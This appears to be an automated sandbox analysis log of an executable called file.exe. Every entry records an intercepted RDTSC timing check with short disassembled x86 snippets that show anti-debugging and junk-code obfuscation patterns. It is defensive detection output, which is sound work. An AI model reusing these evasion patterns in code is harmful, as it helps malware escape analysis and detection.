Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F43FD second address: 8F4403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5C90 second address: 8F5C9A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F22FCB3D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5C9A second address: 8F5CA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5CA0 second address: 8F5CA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5D4D second address: 8F5DF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 5F913B16h 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F22FC56C6C8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov ecx, 16381884h 0x0000002c push 00000003h 0x0000002e sub esi, dword ptr [ebp+122D3617h] 0x00000034 push 00000000h 0x00000036 call 00007F22FC56C6D2h 0x0000003b mov dword ptr [ebp+122D2978h], edi 0x00000041 pop edi 0x00000042 push 00000003h 0x00000044 adc dh, 00000015h 0x00000047 push F73CB997h 0x0000004c jmp 00007F22FC56C6D6h 0x00000051 xor dword ptr [esp], 373CB997h 0x00000058 adc edi, 49680AB2h 0x0000005e lea ebx, dword ptr [ebp+1245CBCDh] 0x00000064 jmp 00007F22FC56C6CEh 0x00000069 xchg eax, ebx 0x0000006a jnp 00007F22FC56C6D2h 0x00000070 jng 00007F22FC56C6CCh 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5DF6 second address: 8F5DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5EA3 second address: 8F5EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F22FC56C6D0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5EBD second address: 8F5F14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 add esi, dword ptr [ebp+122D36F3h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F22FCB3D168h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D1C4Fh], ecx 0x00000030 push 97EB8101h 0x00000035 jc 00007F22FCB3D193h 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F22FCB3D170h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5F14 second address: 8F5F8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 68147F7Fh 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F22FC56C6C8h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D2D68h], ecx 0x00000030 push 00000003h 0x00000032 xor edx, dword ptr [ebp+122D35CBh] 0x00000038 push 00000000h 0x0000003a jmp 00007F22FC56C6D0h 0x0000003f push 00000003h 0x00000041 mov cl, BCh 0x00000043 jmp 00007F22FC56C6CAh 0x00000048 push C12EC388h 0x0000004d pushad 0x0000004e pushad 0x0000004f push edi 0x00000050 pop edi 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5F8D second address: 8F5FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F22FCB3D170h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5FA4 second address: 8F5FA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F60C2 second address: 8F60C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F60C8 second address: 8F60CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F60CD second address: 8F60D2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9082ED second address: 90830C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F22FC56C6D5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90830C second address: 908311 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916D08 second address: 916D23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916D23 second address: 916D44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D170h 0x00000007 pushad 0x00000008 jg 00007F22FCB3D166h 0x0000000e jl 00007F22FCB3D166h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916E9E second address: 916EB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916EB3 second address: 916EB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91700B second address: 91700F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91700F second address: 91703D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D171h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jmp 00007F22FCB3D172h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9175B3 second address: 9175C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F22FC56C6D2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9175C1 second address: 9175CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F22FCB3D166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9175CB second address: 9175DB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F22FC56C6D2h 0x00000008 js 00007F22FC56C6C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91788A second address: 91788E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917CF0 second address: 917D1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F22FC56C6D9h 0x00000008 jc 00007F22FC56C6C6h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917D1B second address: 917D1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917D1F second address: 917D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F22FC56C6CEh 0x00000010 pushad 0x00000011 popad 0x00000012 jg 00007F22FC56C6C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917D37 second address: 917D4D instructions: 0x00000000 rdtsc 0x00000002 js 00007F22FCB3D16Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jno 00007F22FCB3D166h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917D4D second address: 917D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90AA37 second address: 90AA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F22FCB3D178h 0x0000000b jmp 00007F22FCB3D16Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F22FCB3D16Bh 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90AA71 second address: 90AAC3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F22FC56C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push ecx 0x00000011 jmp 00007F22FC56C6D4h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F22FC56C6D5h 0x00000020 jmp 00007F22FC56C6D3h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918028 second address: 918034 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F22FCB3D166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918D44 second address: 918D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F22FC56C6D1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918D5C second address: 918D61 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918D61 second address: 918D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jnc 00007F22FC56C6CCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F22FC56C6D1h 0x00000016 push eax 0x00000017 jmp 00007F22FC56C6CEh 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918D99 second address: 918DA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F22FCB3D166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91ADCD second address: 91ADD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91ADD1 second address: 91ADD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919D21 second address: 919D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91F447 second address: 91F44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92316A second address: 923170 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923170 second address: 923178 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923439 second address: 923458 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923458 second address: 923462 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F22FCB3D166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92376C second address: 923796 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D8h 0x00000007 jmp 00007F22FC56C6CAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923796 second address: 9237AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 jmp 00007F22FCB3D16Ah 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9277BD second address: 9277D7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F22FC56C6C6h 0x00000008 jng 00007F22FC56C6C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F22FC56C6CAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927FCE second address: 927FD8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F22FCB3D16Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927FD8 second address: 927FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9283C9 second address: 9283CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928487 second address: 9284A6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 ja 00007F22FC56C6C8h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F22FC56C6CCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928B80 second address: 928B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928B86 second address: 928B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928BF8 second address: 928C09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F22FCB3D16Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928C09 second address: 928C17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928C17 second address: 928C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928C1B second address: 928C87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F22FC56C6D6h 0x0000000e popad 0x0000000f xchg eax, ebx 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F22FC56C6C8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D29BAh], edi 0x00000030 jg 00007F22FC56C6CCh 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushad 0x0000003b popad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928C87 second address: 928C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928C8C second address: 928C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F22FC56C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928C96 second address: 928C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 929088 second address: 9290A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9290A2 second address: 9290C3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F22FCB3D178h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9292A2 second address: 9292A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9292A7 second address: 9292C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F22FCB3D173h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9292C8 second address: 9292D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F22FC56C6C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B2FB second address: 92B2FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92AB36 second address: 92AB43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92AB43 second address: 92AB47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BE6D second address: 92BEE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F22FC56C6C8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007F22FC56C6C8h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 00000015h 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d jno 00007F22FC56C6CCh 0x00000043 jmp 00007F22FC56C6D8h 0x00000048 push 00000000h 0x0000004a stc 0x0000004b push eax 0x0000004c pushad 0x0000004d jo 00007F22FC56C6C8h 0x00000053 pushad 0x00000054 popad 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92C8A7 second address: 92C8B1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F22FCB3D16Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ECE0A second address: 8ECE0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ECE0E second address: 8ECE40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007F22FCB3D173h 0x00000010 pop edi 0x00000011 jc 00007F22FCB3D173h 0x00000017 jmp 00007F22FCB3D16Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92F933 second address: 92F938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92FF58 second address: 92FF63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F22FCB3D166h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92FF63 second address: 92FF8A instructions: 0x00000000 rdtsc 0x00000002 je 00007F22FC56C6D9h 0x00000008 jmp 00007F22FC56C6D3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 js 00007F22FC56C6CEh 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92FF8A second address: 930005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebp 0x00000009 call 00007F22FCB3D168h 0x0000000e pop ebp 0x0000000f mov dword ptr [esp+04h], ebp 0x00000013 add dword ptr [esp+04h], 00000017h 0x0000001b inc ebp 0x0000001c push ebp 0x0000001d ret 0x0000001e pop ebp 0x0000001f ret 0x00000020 push eax 0x00000021 mov edi, dword ptr [ebp+122D3793h] 0x00000027 pop esi 0x00000028 push edx 0x00000029 cmc 0x0000002a pop esi 0x0000002b push 00000000h 0x0000002d jmp 00007F22FCB3D178h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F22FCB3D168h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e mov dword ptr [ebp+122D2266h], ecx 0x00000054 adc di, E2D3h 0x00000059 xchg eax, ebx 0x0000005a push ecx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93347A second address: 933494 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F22FC56C6D5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D581B second address: 8D5853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F22FCB3D166h 0x0000000a jmp 00007F22FCB3D174h 0x0000000f popad 0x00000010 pop edx 0x00000011 jng 00007F22FCB3D1A4h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F22FCB3D16Eh 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5853 second address: 8D587A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F22FC56C6D2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jc 00007F22FC56C6C6h 0x00000012 jng 00007F22FC56C6C6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
